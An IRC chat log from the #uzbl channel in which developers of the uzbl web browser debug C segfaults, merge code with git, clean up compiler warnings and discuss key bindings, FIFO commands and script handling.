21:48 <@Dieterbe> } Command;
21:48 <@Dieterbe> look
21:49 <@Dieterbe> the func_2_params is if you want to pass an argument
21:49 <@Dieterbe> like 'uri <http://...>' is an example
21:49 < dusanx> got it
21:49 < dusanx> just a sec
21:50 < dusanx> off topic: I am not sure if gcc inits char* pointers to null
21:51 <@Dieterbe> btw guys keep in mind, all settings that are defined through the config have default values on top of uzbl.c, but a config can be unloaded or an option not set.  so always check if something is not null. i will go over the code now to check everywhere, but i definetely made this mistake already where i call the history handler without checking if it is set
21:51 < dusanx> thats probably why parse_command segfaults
21:51 < dusanx> parse_command, second row: Command *c;  
21:51 <@Dieterbe> yeah.. when i was working in the settings_init function I thought when you do "foo * bar" it would be NULL, but that's not the case
21:52 < dusanx> so c=NULL must be added
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21:53 < dusanx> yes that fixed parsing
21:54 <@Dieterbe> k i'l fix that too
21:54 < dusanx> Command *c = NULL;
21:54 < dusanx> fixes it
21:58 <@Dieterbe> ok, committed fixes and pushed
21:58 <@Dieterbe> what can i do next?
21:58 <@Dieterbe> any requests?
21:58 < dusanx> just a sec, pushing in one minute
21:58 < dusanx> you will probably need to merge
21:59 <@Dieterbe> i like merging :)
21:59 < barrucadu> Merging is like running pacman -Syu; it's a little dangerous, can break things, but is strangely fun... :p
22:00 <@Dieterbe> hehe
22:01 <@Dieterbe> yeah, and it's also all about getting fixes and new cool things that *other* people have made . you just have to type the command to get it :P
22:01 < dusanx> oh yes
22:02 < dusanx> done :)
22:02 < dusanx> and pushed
22:03 < dusanx> simpleconfig has few more items ;)
22:04 < dusanx> toggle_status is new command etc
22:04 <@Dieterbe> nice
22:04 <@Dieterbe> and it works?
22:04 < dusanx> totally ;)
22:04 <@Dieterbe> cool
22:05 < dusanx> everything we talked about
22:05 < dusanx> it's way crappier vimperator clone ;)
22:06 <@Dieterbe> cb_toggle_status should be toggle_status_cb
22:06 < dusanx> ok
22:06 < dusanx> my bad
22:06 < dusanx> I will take zip from you anyway :P
22:06 <@Dieterbe> tss
22:07 < dusanx> I will add meta keys handling
22:07 < dusanx> but probably early bed now
22:10 < dusanx> this is good, takes shape
22:14 <@Dieterbe> yeah
22:14 <@Dieterbe> i hoped to have a prototype by now.. guess i need more patience :)
22:14 < dusanx> hmm
22:15 < dusanx> we need basic url editing and it's ready
22:15 < dusanx> that's 30 minutes of work...
22:15 <@Dieterbe> yes, if we can trigger some external scripts with keybinds we can release a prototype
22:16 <@Dieterbe> ok now i'm gonna merge dusanx his code.. may god have mercy with me
22:16 < dusanx> lol
22:16 < dusanx> I was nice
22:17 < dusanx> not moving things around
22:17 <@Dieterbe> you need to merge from me and/or from barrucadu
22:17 <@Dieterbe> every once in a while
22:17 < dusanx> you merge - I take your zip
22:17 <@Dieterbe> if you don't wait too long, git figures it all out automatically it's really nice
22:17 < dusanx> I cant merge
22:17 <@Dieterbe> sure you can
22:18 < barrucadu> I'v having a problem with environmental variables :(
22:18 < barrucadu> *I've
22:18 < dusanx> I try all the time, you saw errors
22:18 < barrucadu> I am using getend to get the value of XDG_CONFIG_HOME, but when I try to strcpy that to another variable so I can manipulate it, I get a segfault. :(
22:18 < barrucadu> *getenv
22:18 < dusanx> don't worry about spelling with serb
22:19 < dusanx> paste code and I'll look
22:19 < barrucadu>     if (! config_file) {
22:19 < barrucadu>         const char* xdg = getenv ("XDG_CONFIG_HOME");
22:19 < barrucadu>         char* conf = NULL;
22:19 < barrucadu>         if (xdg) {
22:19 < barrucadu>             printf("XDG_CONFIG_DIR: %s\n", xdg);
22:19 < barrucadu>             strcpy (conf, xdg);
22:19 < barrucadu>             strcat (conf, "/uzbl");
22:19 < barrucadu>             if (file_exists (conf)) {
22:19 < barrucadu>                 printf ("Config file %s found.\n", conf);
22:19 < barrucadu>                 strcpy(config_file, conf);
22:20 < barrucadu>             }
22:20 < dusanx> stop
22:20 < barrucadu>         }
22:20 < barrucadu>     }
22:20 < barrucadu> It segfaults on strcpy (conf, xdg);
22:20 < dusanx> char* conf is pointer
22:20 < dusanx> you don't allocate memory -> you segfault
22:20 < dusanx> use: char conf[200];
22:21 < barrucadu> Ah, evidently I still have a lot to learn about C :p
22:21 <@Dieterbe> dusanx: how many changes did you do that you want to merge in my code?
22:21 < dusanx> hm
22:21 < dusanx> few
22:21 <@Dieterbe> it's really hard for me to merge this
22:21 <@Dieterbe> maybe the easiest is that you get my latest code, and redo your changes in that
22:21 <@Dieterbe> and then i can easily merge that in
22:21 < dusanx> but I can't remember where they were
22:22 < dusanx> this WAS your latest code
22:22 < dusanx> few hours ago
22:22 < dusanx> I took zip
22:23 < dusanx> it's tricky now, have to go :(
22:23 < dusanx> can you run diff?
22:23 < dusanx> on two original files?
22:23 <@Dieterbe> yeah it's 800+ lines
22:23 < dusanx> because I took your zip
22:24 < dusanx> argh time
22:24 < dusanx> it would need 10 minutes to compare two tiles
22:24 < dusanx> =files
22:25 < dusanx> early in the morning?
22:26 < dusanx> dont look at the git, I mean look my uzbl.c on git, not changes
22:27 <@Dieterbe> what do you mean?
22:27 < dusanx> you are looking at diff and see 800 changes
22:27 <@Dieterbe> yea
22:28  * barrucadu commits his code
22:28 < dusanx> they are changes between my last code and your zip that I took
22:28 < barrucadu> Now if --config is omitted it'll look for a config file $XDG_CONFIG_HOME/uzbl before reverting to no config :)
22:28 <@Dieterbe> if it's only this http://github.com/dusanx/uzbl/commit/d2f6c62591f64a795d10a8a92968c58eb7298e1d then i can redo it manually, i guess
22:29 <@Dieterbe> but you have to tell me what your changes are (eg only that or more?) so i can merge it in
22:29 <@Dieterbe> otherwise we loose work
22:29 < dusanx> no
22:29 < dusanx> b, can you merge my git code?
22:29 < barrucadu> I'll try
22:30 < dusanx> D, your last code is in git?
22:30 <@Dieterbe> yeah
22:31 < dusanx> ok, I'll try something
22:33 < barrucadu> Merged. Now to see if it works
22:33 < dusanx> you are genius :)
22:34 <@Dieterbe> yes, a genius who needs to explain how he did it 
22:34 < dusanx> you have few more settings in my settings file
22:35 < barrucadu> Well, it works
22:35 < barrucadu> Status bar ^^
22:36 <@Dieterbe> :o
22:36 < barrucadu> There weren't many differences, so there wasn't much I needed to edit to make the merge work
22:36 <@Dieterbe> did you do a git diff | wc -l ? i had about 880 lines
22:36 < dusanx> D, can you merge from B?
22:36 <@Dieterbe> sure thing mate
22:36 < dusanx> me too :(
22:37 <@Dieterbe> barrucadu: push your merge :)
22:37 < barrucadu> Done.
22:37 < barrucadu> I just did git merge dusanx/master (after pulling it and checking out my repo again), and then manually edited the conflicting files (sampleconfig and uzbl.c)
22:37 < dusanx> so how did you merge?
22:38 < barrucadu> git checkout dusan/master
22:38 < dusanx> wow
22:38 < barrucadu> git pull dusanx master
22:38 < barrucadu> git checkout experimental
22:38 < barrucadu> git merge dusanx/master
22:38 < barrucadu> git status
22:38 < barrucadu> Then edit any files needed
22:38 < dusanx> where you see list of conflicts?
22:39 <@Dieterbe> git status
22:39 < dusanx> k, learning
22:39 < barrucadu> The conflicting bits are marked in the files, using the strange syntax git has :p
22:40 <@Dieterbe> dusanx: maybe now you should merge from barrucadu 
22:40 <@Dieterbe> it should be easy now i think
22:40 < dusanx> one day when I grow up I will be merging too!
22:40 < dusanx> yes, backup
22:40 < dusanx> then merge ;)
22:40 < barrucadu> I seem to be a fast learner <.>
22:40 <@Dieterbe> barrucadu: did you push your merge?
22:40 < barrucadu> yes
22:41 <@Dieterbe> github is slow
22:41 <@Dieterbe> doesn't show it yet
22:41 < barrucadu> It does for me "sampleconfig5 minutes ago Merge branch 'dusanx/master' into experimental", and "uzbl.c2 minutes ago Fixed a bug (varuable declared twice)."
22:42 < barrucadu> ...the github network graphs are wonderful :)
22:43 < dusanx> ok, I will finish key handling tomorrow
22:44 < dusanx> just waiting to hear if status works
22:45 < barrucadu> The status bar? Yes, that works perfectly :)
22:45 < dusanx> :)
22:46 < dusanx> I turned it off instantly :D
22:46 < dusanx> clutters screen :P
22:47 < barrucadu> :p
22:47 <@Dieterbe> hmm i need to do just a tiny bit of cleaning before i commit this
22:47 <@Dieterbe> but it looks good
22:50 <@Dieterbe> yes it works :D
22:50 <@Dieterbe> nice
22:51 < dusanx> ;)
22:51 <@Dieterbe> when in insert mode pressing modkey+t doesn't work though
22:52 <@Dieterbe> but since you prefer modkey i'm sure you'll fix that :P
22:52 < dusanx> mod keys tomorrow
22:52 <@Dieterbe> ok good
22:53 < barrucadu> "when in insert mode pressing modkey+t doesn't work though" doesn't it?
22:53 < dusanx> and hex values for special keys
22:53 < barrucadu> Are you pressing the right modkey? :p
22:53  * barrucadu slaps self
22:53 < barrucadu> Ignore me :p
22:53 < barrucadu> I was in command mode :p
22:54 <@Dieterbe> barrucadu: printf ("Config file %s found.\n", conf); <--- conf should be *conf
22:55 < dusanx> are  you sure?
22:55 <@Dieterbe> or maybe change "char* conf[256];" to "char conf[256]" ?
22:55 <@Dieterbe> yeas because printf complains that it needs a pointer, instead it gets a double pointer
22:55 <@Dieterbe> so you must derefernce it
22:55 < dusanx> you dont use * in printf
22:55 < dusanx> no need
22:55 <@Dieterbe> it's because char * foo[] == char ** foo
22:57 < dusanx> gone to sleep, I'll merge tomorrow (maybe)
22:57 < dusanx> see you
22:57 < barrucadu> bye
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22:59 < barrucadu> I think this has been quite a productive weekend :)
23:02 <@Dieterbe> yea
23:03 <@Dieterbe> now if we can just do a key listener to call the sample dmenu script that looks in the history file, we can do a proof of concept :)
23:04 <@Dieterbe> frankly i don't really know what exactly the state is of all the key listening stuff.  I didn't study all the stuff you guys made yet
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23:05 -!- Irssi: #uzbl: Total of 11 nicks [1 ops, 0 halfops, 0 voices, 10 normal]
23:05 <@Dieterbe> fogobogo: i'll be awaiting your cat pictures then :)
23:07 < barrucadu> It's 10PM, and while this is far more interesting, I have some homework to do that needs to be done for tomorrow :(
23:07 < barrucadu> Luckily, it won't take me very long.
23:07 <@Dieterbe> that's okay
23:09 < barrucadu> If this project had happened back in September I could have used Uzbl as my IT coursework rather than a spreadsheet :p
23:10 <@Dieterbe> :) yeah..
23:12 <@Dieterbe> barrucadu: is template/index.html used?
23:13 <@Dieterbe> there is some content duplicated with index.php
23:13 <@Dieterbe> i don't know which to edit
23:14 < barrucadu> template/index.html is just a demonstration of what it looks like, it's what I was working on when creating the design.
23:14 < barrucadu> It isn't required
23:14 < barrucadu> The *.php files are what you should edit
23:14 <@Dieterbe> ok
23:14 <@Dieterbe> that will be for tomorrow though, i must go
23:14 < barrucadu> I plan to implement a simple templating system at some point, so the template is specified in one file
23:14 < barrucadu> I might get that done later tonight
23:14 < barrucadu> ok
23:14 < barrucadu> bye
23:15 <@Dieterbe> remember there are already a gazzilion template systems out there ;)
23:15 <@Dieterbe> see you tomorrow
23:15 < barrucadu> Yes, but they're so easy to make :p
23:22  * barrucadu is all alone...
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23:38 < fogobogo> wut?
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07:32 < dusanx> 'morning :)
09:11 < kdavis> just installed from aur and am getting some segfaults. anyone around want to have a look I'll paste up...
09:12 < dusanx> can you compile experimental branch? -- we should have aur/master version updated today
09:13 < kdavis> sure np
09:13 < dusanx> current aur is two days old, under heavy development that's too old ;)
09:13 < kdavis> heh gotcha
09:19 <@Dieterbe> good morning dudes
09:19 < dusanx> hi :)
09:19 < kdavis> good morning (late night here)
09:20 < dusanx> nz/australia?
09:20 < kdavis> me? portland oregon usa
09:21 < dusanx> lol ok
09:21 < dusanx> was not even close
09:22 <@Dieterbe> hmm maybe i should not have made a pkgbuild so soon :P now everyone thingsk uzbl is supposed to be uzbl already :P
09:22 < dusanx> can you create another experimental?
09:22 <@Dieterbe> australiia is 12hours difference btw :)
09:23 <@Dieterbe> i sure can, but why?
09:23 < dusanx> that would be what people want to see
09:23 < kdavis> nah just testing here...no expectations :)
09:23 < dusanx> exp is often pretty stable
09:24 <@Dieterbe> but every time i merge some stuff into experimental, i test it, and if it looks good i merge into master
09:24 <@Dieterbe> so the gap between master and experimental is not very big
09:24 < dusanx> oh, ok then
09:24 < dusanx> I was not sure
09:25 -!- Irssi: #uzbl: Total of 11 nicks [1 ops, 0 halfops, 0 voices, 10 normal]
09:27 < dusanx> I think that I merged B code :)
09:27 < dusanx> can you check github graph?
09:27 <@Dieterbe> i'm at work
09:27 <@Dieterbe> i can't really do much uzbl stuff during the day
09:27 < kdavis> same segfault w/ exp branch, seems to not recognize .extra/history.sh as existing
09:28 < dusanx> not yet I think
09:29 <@Dieterbe> dusanx: what i do after i did a merge and i want to check if all is ok, take the sha1 hash for the latest commit you "trust" (see git log or github), and after merging (if git status == empty) do git diff <sha1 hash>
09:29 <@Dieterbe> then you can see all things that changed
09:29 < dusanx> I am at work and at home too
09:29 < dusanx> D, I will try
09:30 <@Dieterbe> btw irc has tab completion for nicknames
09:30 <@Dieterbe> at least, decent clients have
09:30 < dusanx> Yes :)
09:30 < dusanx> irssi has
09:31 < dusanx> Ok Dieterbe :P
09:31 < dusanx> but I keep forgeting
09:36 <@Dieterbe> i have a hard time focussing on work :/ i always want to hack on uzbl :P
09:36 < dusanx> I am coding right now
09:36 <@Dieterbe> what are  you working on?
09:37 < dusanx> proper mod key handling for non-vim lovers
09:37 < dusanx> I want to try catching right click menu open in new window sygnal
09:38 < dusanx> and also web pages that have links target=new
09:38 <@Dieterbe> is it already possible to catch bindings as defined by user to call external scripts? (i mean not the calling of the scripts, but the key recognizing)
09:38 < dusanx> so far such links don't do anything
09:39 < dusanx> no but I will add that now
09:39 <@Dieterbe> ok nice :)
09:39 <@Dieterbe> if you want to know how to call external things, have a look in log_history_cb, which calls a function run_command or something i think
09:39 < dusanx> looking right now :)
09:41 < dusanx> run_command is not function in our code?
09:42 < dusanx> it is, found it
09:44 <@Dieterbe> :)
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09:46 < dusanx> brb
09:49 < kdavis> anyway Im off to bed...heres the crash if you are interested. happy hacking and nice work
09:49 < kdavis> http://pastebin.ca/1404627
09:50 <@Dieterbe> kdavis: i'll put it on my todo, i will look at it tonight
10:03 < dusanx> ..and I am cleaning warnings, everything I can
10:13 <@Dieterbe> don't bother about the "variable/function defined but not used" ones
10:13 < dusanx> why?
10:14 < dusanx> I fixed half of them already...
10:14 < dusanx> it's simple :)
10:14 < dusanx> (void) page; 
10:14 < dusanx> and compiler does not object and everything stays in place, found in docs
10:15 < dusanx> is it ok by you?
10:15 <@Dieterbe> because we may use those variables / functions in the future
10:16 < dusanx> see:
10:16 < dusanx> go_forward_cb (GtkWidget* widget, gpointer data) { (void) widget; (void) data; webkit_web_view_go_forward (web_view);
10:16 < dusanx> }   
10:16 < dusanx> just adding voids right below func header
10:16 < dusanx> if you need var just remove void, simple
10:16 < dusanx> function definition is not changed
10:17 < dusanx> it's just gcc thing to remove warnings with saying 'this var is void right now but I may use it later'
10:18 < dusanx> void widget and data are separate lines, irssi compressed them
10:19 < dusanx> want to see it line by line?
10:29 < dusanx> in short (when you have time): everything stays in place, I am just adding (void) unused_variable; lines just below function header. when you need variable you just remove (void) and everything else stays in place. if you don't like them we remove all voids and everything is as before.
10:54 <@Dieterbe> dusanx: oh, that's cool shit
10:54 <@Dieterbe> yeah i understand, even if all is on one line :)
10:54 < dusanx> believe me, I would not do something that breaks code ;)
10:55 <@Dieterbe> so, this way you compress warnings aboun unused vars, what about unused functions?
10:55 < dusanx> right now I have 4 warnings left, cleaning them
10:55 < dusanx> have no idea, do we have them?
10:55 < dusanx> I am not getting any unused function warning
10:55 <@Dieterbe> ok then it's good
10:56 <@Dieterbe> i got one for at least msgBox but that's gone now ;)
10:56 < dusanx> also few casts here and there, cleaned that warnings too
10:56 < dusanx> msgbox is long gone
10:56 < dusanx> you should merge ;)
10:57 <@Dieterbe> yeah i merged that already
10:57 <@Dieterbe> the msgBox
10:57 < dusanx> uzbl.c:207: warning: initialization from incompatible pointer type
10:57 < dusanx> uzbl.c: In function ‘parse_command’:
10:57 < dusanx> uzbl.c:241: warning: passing argument 1 of ‘strtok’ discards qualifiers from pointer target type
10:57 < dusanx> that's left :)
10:57 <@Dieterbe> man i want to go home and start hacking on uzbl
10:58 < dusanx> but I will check them too
10:58 <@Dieterbe> thanks, i looked at it but couldn't figure it out
10:58 <@Dieterbe> in fact, i couldn't even figure out how strok works, i just copy pasted the code from somewhere
10:58 < dusanx> hehe when you get this old you will work from home too :P
10:59 <@Dieterbe> :D
11:13 <@Dieterbe> btw dusanx do you have experience with calling external programs? system() etc?
11:13 < dusanx> some
11:13 < dusanx> a lot except on linux lol
11:13 < dusanx> it's easy or should be easy
11:13 < dusanx> what do you need?
11:14 <@Dieterbe> well, you can see how i implemented it, but like this it requires users to define the command like "/bin/bash /<yourscript>.sh"
11:14 <@Dieterbe> which is a bit ugly
11:14 < dusanx> I see
11:14 < dusanx> I will check np
11:14 <@Dieterbe> i was wondering if there was a nice way to be able to execute real binaries and also shell scripts
11:14 < dusanx> should be, no problem
11:15 < dusanx> one warning to go!
11:15 <@Dieterbe> maybe we could invoke "file", see if it's plaintext, try to parse the shebang line (#!..) and use that
11:15 < dusanx> nooo
11:15 < dusanx> there must be system call
11:15 <@Dieterbe> yeah
11:21 < dusanx> NO...WARNINGS...AT...ALL    pushing :)
11:23 <@Dieterbe> :)
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12:59 < shortlord> shouldn't the folder scripts in /usr/share/uzbl/examples be called extra?
12:59 < shortlord> because that's what the sampleconfig refers too if I understand it correctly
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13:16 < dusanx> shortlord: yes, we will fix paths today along with bunch of things
13:17 < shortlord> ok, apart from that it looks good
13:18 < dusanx> thanks
13:18 < shortlord> the rendering is quite slow, but at least I can already surf without all that firefox clutter ;)
13:18 < shortlord> I guess there is not yet any way to open a URI directly in uzbl, right? only with the -u switch
13:18 < dusanx> not yet, maybe today
13:19 < shortlord> sound great, keep up the good work :D
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13:49 <@Dieterbe> shortlord: yes there is
13:49 <@Dieterbe> echo "uri <http://some uri>" into the fifo :)
13:50 < dusanx> true, have not played with fifo yet
13:50 < dusanx> back in 30 min
13:51 <@Dieterbe> shortlord: / dusanx : if anything, we should change the example configs to point to /usr/share/uzbl/examples
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14:13 < rob|> hey
14:14 < dusanx> I am back
14:14 < dusanx> I would like them at .config/uzbl/scripts or something
14:15 <@Dieterbe> yep, indeed that's where they should end up in the end
14:15 <@Dieterbe> can we put magic variables in our config files that will be replaced? eg $HOME
14:16 < dusanx> I am testing scripts now
14:16 < dusanx> looks like putting #/bin/bash and chmod +x do the trick
14:16 < dusanx> but havent tested yet
14:17 <@Dieterbe> hmm but i tried that
14:17 < dusanx> Maybe better having home defined in config file?
14:17 <@Dieterbe> if you do system("path/to/script"); it will return >0
14:18 < dusanx> that way copying config at other pc gets you same config, not having to modify multiple files?
14:18 <@Dieterbe> yes true, but i was thinking we could supply a sample config that would work for many people
14:18 < dusanx> I will try that now
14:18 <@Dieterbe> eg /home/dieter, /home/dusan/ ,...
14:18 <@Dieterbe> by just using $HOME env variable
14:19 < dusanx> absolutely simple config
14:19 < dusanx> but we need way to override default config hmm
14:19 <@Dieterbe> maybe if we look at source code for other projects we can see how others do it
14:19 < dusanx> yes
14:20 < dusanx> I am 2 minutes from finishing external bindings and then I can test how to start script
14:20 < dusanx> mod keys are finished
14:20 <@Dieterbe> cool
14:21 < dusanx> you can define mod_key = Mod1 Control Button3 lol
14:21 < dusanx> if you have big hands...
14:21 < dusanx> you still at work?
14:22 <@Dieterbe> yes
14:22 <@Dieterbe> it's now 14:22 here, and at 19:00 i'll be at home
14:22 < dusanx> sorry to say but great, gives me time to wrap this up
14:22 < dusanx> :P
14:22 <@Dieterbe> mod_key = Mod1 Control Button3 -> ?? i don't get it
14:23 < dusanx> if you want you can define alt+ctrl+third mouse button as mod key :)
14:24 <@Dieterbe> hmm, we don't use the modkeys as exposed by xorg?
14:25 < dusanx> gtk mod keys
14:25 < dusanx> texts can be changed
14:25 < dusanx> back in 30 minutes, lunch time
14:26 <@Dieterbe> k, i think gtk modkeys == xorg mod keys
14:26 < rob|> btw, why are you not using a glib hash for the command lookup? should speed up things (when there are more commands) and simplify parse_command()
14:27 <@Dieterbe> because i never heard of glib hashes :)
14:28 <@Dieterbe> i'm a bit new to glib/gtk/webkit and all that :P
14:28 < rob|> oh, alright. well, glib's hash works like most hash implemetations do, i guess it would be the ideal data structure for the commands
14:30 <@Dieterbe> why? i don't get it.. a hastable is just a key-> value map
14:30 < rob|> right
14:31 < rob|> no need to manually iterate over all commands again and again
14:31 < rob|> but rthare use the pre computed hashes
14:31 < rob|> *rather
14:31 <@Dieterbe> oh
14:31 <@Dieterbe> yeah that could be a good idea
14:31 <@Dieterbe> patch welcome :)
14:32 < rob|> the key would be the command name and the value the function callback
14:32 < rob|> i'm having some struggle getting uzbl to compile on debian, seems to be some webkit path oddities :(
14:33 <@Dieterbe> oh but the tricky thing is, we have 2 function callbacks per command. one of them has to be set, or both
14:35 < rob|> well, make the hash value an array with 2 entries (or even n entries, to be prepared for future additions)
14:37 <@Dieterbe> and how do you turn in the value hash into the array you want?
14:38 < rob|> well, every hash key will be associated with an array rather than a simple int or string value 
14:39 < rob|> something like:    "command_1" => [callback1, callback2, ..., callbackn], command2 => [callback1, callback2, ..., callbackn], ...
14:39 <@Dieterbe> you can store arrays into the hashmap?
14:39 < rob|> sure, you can store pointers to anything for the values
14:40 <@Dieterbe> oh yeah i see now
14:40 < rob|> s/for the/as/
14:40 <@Dieterbe> looking at http://library.gnome.org/devel/glib/stable/glib-Hash-Tables.html#g-hash-table-insert
14:40 <@Dieterbe> yep rob| that's a great idea
14:41 <@Dieterbe> i will put it on my todo. and sometime this week or so i could implement it, unless someone is faster then me
14:42 < rob|> i'd do it though first need to convice debian to actually find webkit
14:44 <@Dieterbe> :)
14:44 < dusanx> back
14:46 < dusanx> external bindings work -> key handling is finished
14:46 < rob|> oh yes, i'd also separate the command definition and parsing into a separate source file - that such make it easy to add new commands without having to browse through tons of not related source
14:46 < dusanx> now to see how to start script
14:47 < dusanx> hmm, while we have this small source I would like to keep it in one file
14:48 <@Dieterbe> i think once the file becomes 700-800 lines it's time to start splitting up
14:48 < dusanx> yup
14:48 <@Dieterbe> right now we are at less then 400 i think
14:48 < dusanx> but I actually reduced size of key handling function
14:48 <@Dieterbe> cool, how?
14:48 < dusanx> so we are not there yet
14:49 < dusanx> rewrited it, you'll see
14:49 <@Dieterbe> the less code the better :)
14:49 < dusanx> abslutely
14:50 < rob|> well, that's true for sure though a good source organisation is nice even with few SLOCs
14:51 < rob|> i also started my pet project with a single source file and cursed later when i had to split tons of things inti separate files ;)
14:51 < dusanx> that's always fun!
14:52 <@Dieterbe> oh btw rob| , if you want to start hacking and i haven't merged dusanx' code in yet (i can only merge it 5 hours from now), you should probably fork dusanx' code instead of mine, it will be easier for me to merge
14:52 < rob|> alright i'll do so
14:52 < dusanx> I'll have update in 10-20 minutes
14:52 < dusanx> oh, wait
14:52 < rob|> i really like the basic ideas of uzbl and will most definitly try to contribute
14:52 < dusanx> I can do it now
14:52 < dusanx> all keys work
14:53 < dusanx> just a sec
14:53 <@Dieterbe> rob|: cool
14:53 <@Dieterbe> rob|: are you familiar with git / github?
14:53 < rob|> not yet, i'm mainly using hg and svn 
14:54 < rob|> well, and darcs of course (i'm an xmonad guy:)
14:55 < dusanx> http://github.com/dusanx/uzbl/tree/master, all finished
14:55 < rob|> man, i can't see what's going wrong on debian. the path options to the compiler look ok, though it can't find the webkit functions - odd!
14:56 < dusanx> webkit-develop or something? long time since I used ubuntu :(
14:56 <@Dieterbe> webkit-dev probably
14:56 < rob|> no, have that
14:56 <@Dieterbe> though the version on debian may be noticeably older then what we have on arch
14:56 < dusanx> almost certainly
14:57 < dusanx> and git finally works for me :)
14:57 < rob|> afaict it must be a path thing or pkg-config issue
14:58 <@Dieterbe> maybe you can ask at #debian
15:01 < dusanx> Dieterbe: I used this modifiers and you can combine them: http://library.gnome.org/devel/gdk/stable/gdk-Windows.html#GdkModifierType
15:02 < dpb> what version of webkit does Arch have?
15:02 < dusanx> 1.1.5-1
15:02 < dpb> yeah, debian unstable has 1.0.1..
15:03 <@Dieterbe> dusanx: we should do a uzblconf conference where you, barrucadu and i and other interested people can join to hack together and explain home some stuff works to each other :P
15:03 < dusanx> yup
15:03 < dusanx> it's time
15:03 < dusanx> never tried fifo for instance...
15:05 <@Dieterbe> just do echo "uri http://www.icanhascheezburger.com" > <name of fifo here>
15:05 <@Dieterbe> and then echo back > 
15:05 <@Dieterbe> then echo forward >
15:05 <@Dieterbe> echo reload >
15:05 <@Dieterbe> or refresh could maybe be the name
15:07 < dpb> ah, dist-upgrade and debian unstable has 1.1.5.. :)
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15:08 -!- Irssi: #uzbl: Total of 12 nicks [1 ops, 0 halfops, 0 voices, 11 normal]
15:08 <@Dieterbe> dpb == rob|  ?
15:08 -!- dusanx [n=dusanx@93.87.137.234] has joined #uzbl
15:08 < dusanx> aaaaaaaaaaaaaaaaaaa
15:08 < dpb> Dieterbe: no
15:08 < dusanx> started open url from history.sh
15:08 < dusanx> and had to restart X
15:08 <@Dieterbe> dpb: both debian users then by coincidence :)
15:09 <@Dieterbe> dusanx: hmm that's odd
15:09 < dpb> Dieterbe: yep
15:09 < dusanx> complete kb lock
15:09 < dusanx> everything except ctrl alt backspace
15:09 <@Dieterbe> ah, so it has something to do with your keybinding stuff :)
15:09 < dpb> anyway, uzbl seems to compile and work on debian unstable
15:10 < dusanx> lol
15:10 < dusanx> since I was starting it from terminal?
15:10 <@Dieterbe> you have 5 hours time to get it working nicely :P
15:10 < dusanx> from terminal!
15:10 <@Dieterbe> what do you mean?
15:10 < dusanx> i was in uzbl dir
15:11 < dusanx> and typed ./extra/load_url_from_history.sh
15:11 < dusanx> to see how it works
15:11 < dusanx> thats all
15:11 < dpb> I've been working on a slightly similar browser with Qt/Webkit since Qt 4.5 was released.
15:12 <@Dieterbe> dusanx: weird. the script looks innocent to me. http://github.com/Dieterbe/uzbl/blob/2f021faf9ee2dbb61d1173b897903d59d90f56a1/extra/load_url_from_history.sh
15:13 < dusanx> I know but I got total lockup
15:13 <@Dieterbe> :|
15:13 < dusanx> hmm
15:14 < dusanx> I started it from console
15:14 < dusanx> so there was no $history_file defined
15:14 < dusanx> may be awk?
15:14 < dusanx> or something
15:15 <@Dieterbe> history_file is defined the line above
15:15 < rob|> oh, one more thing. what do you think about not using a fifo to communicate with uzbl but a socket (unix/tcp)? that way you could easily not only send commands to the browser but also retreive answers/reactions to those commands
15:15 < dusanx> right
15:15 < rob|> like the current history list
15:15 < rob|> and hand it over to dwm/dzen/...
15:16 < rob|> s/dwm/dmenu/
15:16 < dusanx> but I was out of dmenu :)
15:16 < dusanx> sorry
15:16 < dusanx> old buffer
15:16 < dusanx> just dmenu :)
15:16 <@Dieterbe> there is no such thing as a current history list inside uzbl
15:16 <@Dieterbe> uzbl only knows the current url
15:16 <@Dieterbe> history tracking is done by external script
15:16 < rob|> i'm the author of dzen btw, so have a bit of interest to make uzbl interact nicely with it ;)
15:16 <@Dieterbe> (optionally)
15:16 < dusanx> and dmenu or dzen
15:17 <@Dieterbe> rob|: nice. dzen is pretty cool
15:17 < dusanx> yes, that's our plan
15:17 <@Dieterbe> also isn't a socket harder to work with? you can't just do "echo <string> > <socketfile>" no?
15:18 < rob|> no but you could do "uzblctl <string>" - probably not so unixy as pure files, but more powerful if you need reactions to commands
15:19 < rob|> or rather "uzbclt <string> | filter_answer
15:19 < dusanx> ok, that's it. taking pause or I will make mistake somewhere
15:20 <@Dieterbe> rob|: well, that's a good idea. but until now, I haven't seen the need for getting an "answer" from uzbl. the only use case i see is getting the current url, which can be easily retrieved as the last item in the history file
15:21 < rob|> hehe. so i'd propose to use a uzblctl utility that works like a classic unix filter (sed, awk, ...) taking input from stdin and sending output to stdout
15:21 < dusanx> gone to urban terror but I will have irssi on other screen ;)
15:22 < rob|> Dieterbe: answers or outputting strings on certain events can be useful. imagine poping up a dzen on http error codes
15:22 <@Dieterbe> mm.. whoa
15:22 <@Dieterbe> that sounds cool
15:23 < rob|> right, you can drive that even further - like clicking on that dzen popup send a command to reload the site or something
15:23 <@Dieterbe> yeah, and everytime you want to change the url, instead of echoing it into the fifo, you call uzblctrl, and pipe the output to another custom script. in that script you can parse uzblctrl's output to do anything you want
15:24 <@Dieterbe> rob|: i don't like your last example
15:24 < rob|> most prominently you'd not have to deal with stupid race conditions that a fifo based approach alaways has
15:25 <@Dieterbe> rob|: i like your general idea, but reloading happens to be really simple already with a key shortcut ;)
15:25 <@Dieterbe> yep. i think sockets + a uzblctrl would be useful
15:26 <@Dieterbe> rob|: are you also involved with dmenu?
15:27 < rob|> no
15:27 < rob|> dmenu is super simple, though - hacking it to better fit to uzbl should be an easy task
15:28 < rob|> i wrote a history patch for dmenu a while ago, so i am quite used to the code
15:29 <@Dieterbe> yeah i would like it to work a bit more like firefox' awesomebar, so you could type "aa bbb c" and it would match "fooaabarbbb  fooc"
15:30 <@Dieterbe> if it would do that + my patch that i submitted this weekend it would be perfect for me , i think
15:30 < rob|> so that's basically turning dmenu's match() function into a regex based appraoch
15:32 <@Dieterbe> regex may be a bit too expensive. actually just the "words" (separated by whitespace) should all be matched separately, and if they all match, there is a global match
15:32 <@Dieterbe> the order doesn't even matter
15:33 <@Dieterbe> as long as all the words you type appear in the target string, there is a match
15:33 <@Dieterbe> it doesn't matter how/where they appear
15:33 < rob|> hmm ok, though i'm not that sure that using C's regex functions would impose a significant penalty
15:33 < rob|> we're using full blown gtk anyways
15:33 <@Dieterbe> yeah but i did some calculations
15:34 <@Dieterbe> if you use uzbl for 10 years, you have a history file easily 50MB in size.  I did some benchmarks on that and dmenu wasn't very responsive anymore :P
15:36 < dusanx> 10 years of data on 10 years newer hardware will be still responsive
15:36 < rob|> hehe
15:36 <@Dieterbe> yeah probably :)
15:36 < dusanx> òcl
